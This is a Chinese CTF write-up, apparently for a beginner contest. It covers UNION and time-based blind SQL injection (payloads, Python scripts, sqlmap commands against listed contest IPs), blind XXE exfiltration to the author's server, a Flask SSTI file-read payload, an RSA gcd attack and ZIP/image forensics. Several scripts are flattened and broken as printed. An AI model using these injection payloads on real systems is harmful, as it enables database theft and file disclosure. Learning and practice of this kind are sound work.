送分的SQLi
这题非常简单,什么过滤都没有就是简单的有回显数字型SQL注入。
所以我们可以直接构造union注入就可以完成所有操作
/*库名*/
id=1 union select database(),1
/*表名*/
id=1 union select table_name,1 from information_schema.tables where
table_schema='week3_sqliiii2'
/*列名*/
id=1 union select column_name,1 from information_schema.columns where
table_name='f111aa4g'
/*得到flag*/
id=1 union select 1,f111aaaggg_w3 from f111aa4g
或者使用sqlmap
/*库名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 --dbs
/*表名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 --tables -D week3_sqliiii2
/*列名*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 --columns -T f111aa4g -D week3_sqliiii2
/*得到flag*/
sqlmap.py -u http://118.25.18.223:10068/?id=1 --dump all -C f111aaaggg_w3 -T f111aa4g -D week3_sqliiii2
简单的基于报错的sql盲注。这里说一下,过滤了substr(),但是我们可以用mid()和left(),基于报错的盲注具体在我前面写的文章《SQLI-LABS修炼笔记(二)》中有细讲。这里直接上脚本,用的是mid().
import requestsimport hashlibdef md5(str1):return hashlib.md5(str1).hexdigest()def md5_fuck(str1):i = 0while True:if md5(str(i))[4:8] == str1:return ielse:i+=1cookie = {"PHPSESSID":"6760c930541b7fd8b74b75676c625c18"}flag=""url = "http://118.25.18.223:10086/index.php"for i in range(1,10000):for j in range(33,127):r = requests.get(url=url, cookies=cookie)code_str = r.content[130:134]code_need = md5_fuck(code_str)#id_my = '''1' or if((ascii(mid((database()),%s,1))=%s),sleep(5),1)%%23'''%(i,j) week3_sqli1#id_my = '''1' or if((ascii(mid((select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(3),1)%%23'''%(i,j) users,w3_fllllllll4ag#id_my = '''1' or if((ascii(mid((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='w3_fllllllll4ag'),%s,1))=%s),sleep(3),1)%%23'''%(i,j) dajiangyoude,haishijiangyou,f111144g_w3_sqli1id_my = '''1' or if((ascii(mid((select f111144g_w3_sqli1 from w3_fllllllll4ag limit 0,1),%s,1))=%s),sleep(3),1)%%23'''%(i,j)url_good = "http://118.25.18.223:10086/index.php?id=%s&code=%s" % (id_my, code_need)try:s = requests.get(url=url_good, cookies=cookie,timeout=2.5)# print s.contentexcept:flag +=chr(j)print flagbreak
扫一波目录发现.bak文件泄露
$username = base64_decode($_COOKIE['name']);$sql = "select * from user where username = '{$username}'";$re = mysqli_query($conn, $sql);$rs = mysqli_fetch_array($re);// echo $rs['flag'];echo $username . '
';echo "因为出题人太懒了,所以现在没有任何功能";
import requestsimport base64import urlliburl = "http://123.206.203.108:10010/normalSQLi/index.php"flag = ""for i in range(1,1000):for j in range(33,127):#payload = "admin' or if((ascii(substr((),%s,1))=%s),sleep(3),false)#"%(i,j) user#payload = "admin' or if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(3),false)#"%(i,j) user#payload = "admin' or if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user'),%s,1))=%s),sleep(3),false)#"%(i,j)payload = "admin' or if((ascii(substr((select flag from user limit 2,1),%s,1))=%s),sleep(3),false)#"%(i,j)cookie = {"name":urllib.quote(base64.b64encode(payload))}try:r = requests.get(url=url,cookies=cookie,timeout=2.5)except:flag +=chr(j)print flagbreak
sqlmap.py -u http://123.206.203.108:10010/normalSQLi/index.php --cookie="name=" --tamper "base64encode" --random-agent --level 3 --technique "T" -v 3 -D users -T user -C "id,password,username" --dump
第一次遇到javaweb题,萌新我来学习点新姿势。
查看源代码审查元素,发现提示:
参考hint,这题应该是xml的实体注入。网上搜到了一篇大佬的博客文章,里面详细解说了xml实体注入。
参考链接:
http://chybeta.club/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/
我测试了一下post过去一个xml文件,返回说,我就看看你发的而已又没说要发出来0v0
所以应该是blind xxe 注入。
具体过程:
我在自己的服务器上设置两个文件,一个xxe.php,一个xxe.xml。
xxe.php:
if(isset($_GET['data'])){$file = fopen('data', 'w');fwrite($file, $_GET['data']);fclose($file);}?>
">
a=
base64encode(
%remote;
%all;
]>
&send; )
抓包很容易发现这是pythonweb,结合5000端口,说明可能是flask模板,随即联想到模板注入(SSTI)。
参考大佬的文章Flask/jinja模板注入:
http://klaus.link/2017/Flask_SSTI/
可能因为是萌新赛,没有给弹shell。。。。(其实是我太菜了弹不出,只搞出个任意文件读取)
参考链接:
https://www.cnblogs.com/tyomcat/p/5440488.html
测试:
http://111.230.105.104:5000/{{7+7}}
发现果然可以。使用任意文件读取漏洞。
直接读flag,在博客里面有一个hint,flag在flag里。
|
http://111.230.105.104:5000/{{''.__class__.__mro__[2].__subclasses__()[40]('./flag', 'r').read()}}
|
就能拿到flag了。
题目地址:p3xlhyup6.bkt.clouddn.com/babyRSA.zip
这题在我之前的文章《关于openssl命令的一些随笔》里面写过了wp,可以去看看。
题目地址:p3xlhyup6.bkt.clouddn.com/NotHardRSA.zip
mmp的又是数论题,题目给了10个密文,根据同余的性质,做差求最大公约数。
贴一下脚本:
#!/usr/bin/python
def egcd(a, b):
if a ==0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g !=1:
raise Exception('modular inverse does not exist')
else:
return x % m
e=65537
f=open('cipherx.txt','r')
s=f.read()
c=s.split('\n')
#0,1,2,...,9
t1=int(c[1],10)-int(c[0],10)
t2=int(c[2],10)-int(c[1],10)
#t3=int(c[3],10)-int(c[2],10)
#t4=int(c[0],10)-int(c[3],10)
g1,y1,x1=egcd(t1,t2)
#g2,x2,y2=egcd(t3,t2)
#g3,x3,y3=egcd(t1,t4)
#print g1
q4=g1
t5=int(c[5],10)-int(c[4],10)
t6=int(c[6],10)-int(c[5],10)
g5,y5,x5=egcd(t5,t6)
#print g5
q3=g5
c3=int(c[3],10)
d=modinv(e,(q4-1)*(q3-1))
print hex(pow(c3,d,(q4*q3)))
|
ps:还有两个CBC没做,看wp也一知半解。有时间一定研究一波。
题目地址:
p48sc5k3g.bkt.clouddn.com/misc.pcapng
打开流量包,老套路HTTP过滤一下,会发现GET请求了一个cutebunny.jpg和misc1.zip。这里可以直接从流量包到处misc1.zip,打开看一下会发现有flag.txt和cutebunny.jpg,明白人都知道了这里要用明文攻击了,于是现在的问题就是怎么样构造明文攻击用的压缩包了。
misc1.zip里的还有一张图而GET请求里也有一张图,不过直接从流量包导出不可行,因为流量记录其304了,导出来的压缩包有问题。此时可以直接访问GET请求的URL下载这个图(我一直都以为可以下载的,但是只有这个题实现过我的想法2333333以前都是404的说)
于是乎用WinRAR压缩下载下来的图发现与压缩包里的CRC32校验码是一致的,于是丢进AZPR几秒钟就拿到flag了。
ps:这里有一个大坑,我用win默认的压缩成zip,结果大小不一样无法明文攻击(以前一直以为只要crc32值相等就行了,结果大小这些也要一模一样),然后用winrar试试,发现可以。(好迷啊,难道还要猜出题人用的什么压缩工具吗?)
最终明文攻击爆出flag。
题目地址:
http://p3pqfvzzm.bkt.clouddn.com/%E7%94%BB%E9%A3%8E%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E5%A5%B9.zip
拿到两张后缀为png的图片,没啥思路,放winhex里面看下,一张的实质还是jpg。更懵逼了。
看到hint才恍然大悟,原来是盲水印!直接拿脚本跑一下得flag。
题目链接:
p1kaloi2x.bkt.clouddn.com/rgb.zip
打开压缩包之后发现是个加密过的压缩包,看了一下并不是伪加密,往下看了看,发现文件尾有base64加密的字符串。
解密得到压缩包密码:hammernb (hammer大哥牛逼!)
解压缩出来发现是0和1组成的三列多行的数字。随即联想到像素点。把0替换成255,1替换成0,然后转像素点。
贴一下转像素点的脚本:
from PIL import Image,ImageDrawimage = Image.new('RGB',(280, 280)) file = open('rgb.txt') draw = ImageDraw.Draw(image) for i in xrange(280): for j in xrange(280): c = file.readline().split(' ') draw.point((i, j), fill = (int(c[0]), int(c[1]), int(c[2]))) image.save("key.jpg", "jpeg") |
得到一张二维码。扫二维码得到一个bin文件,记事本打开之后base64解密一下字符串。得到一串16进制的字符串,看到504B0304,就明白这是一个压缩包的16进制,放winhex里面转一下,修改后缀为zip。打开,发现又是加密过的压缩包。没思路了,爆破一下吧。爆破得到压缩包密码为hgame。ps:这题没点脑洞可做不出哦~